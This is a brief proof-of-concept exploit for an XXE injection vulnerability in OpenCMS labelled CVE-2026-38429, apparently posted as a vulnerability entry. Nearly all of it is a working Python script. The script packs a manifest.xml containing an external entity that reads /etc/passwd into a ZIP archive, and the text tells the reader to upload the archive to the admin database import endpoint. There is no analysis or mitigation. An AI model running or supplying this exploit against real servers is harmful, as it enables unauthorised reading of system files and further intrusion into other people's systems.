CVE-2026-38429 OpenCMS XXE注入漏洞

import zipfile import io # Malicious XML content with XXE payload # This payload attempts to read /etc/passwd from the server xml_content = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo> """ # Create a zip file in memory containing the malicious manifest zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # The specific filename expected by OpenCMS is manifest.xml zip_file.writestr('manifest.xml', xml_content) # Write the exploit zip to disk with open('cve_2026_38429_poc.zip', 'wb') as f: f.write(zip_buffer.getvalue()) print('Exploit ZIP generated successfully.') print('Upload this file to the Admin Import DB endpoint.')